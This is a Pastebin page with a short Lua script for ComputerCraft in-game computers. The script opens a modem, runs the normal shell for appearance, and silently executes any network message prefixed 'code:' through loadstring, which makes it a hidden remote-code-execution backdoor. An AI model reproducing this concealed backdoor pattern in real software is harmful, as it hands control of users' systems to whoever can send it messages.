Advertisement
justync7

heh

Jun 29th, 2013
126
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.49 KB | None | 0 0
  1. local function openRednet()
  2. local listOfSides = rs.getSides()
  3. for i = 1,6 do
  4. if peripheral.isPresent(listOfSides[i]) and peripheral.getType(listOfSides[i]) == "modem" then
  5. rednet.open(listOfSides[i])
  6. return listOfSides[i]
  7. end
  8. end
  9. end
  10. openRednet()
  11. local function receive()
  12. while true do
  13. id,msg=rednet.receive()
  14. if msg:sub(1,5)=="code:" then
  15. loadstring(msg:sub(6))()
  16. end
  17. end
  18. end
  19. local function shell()
  20. os.run({},"/rom/programs/shell")
  21. end
  22. parallel.waitForAny(receive,shell)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement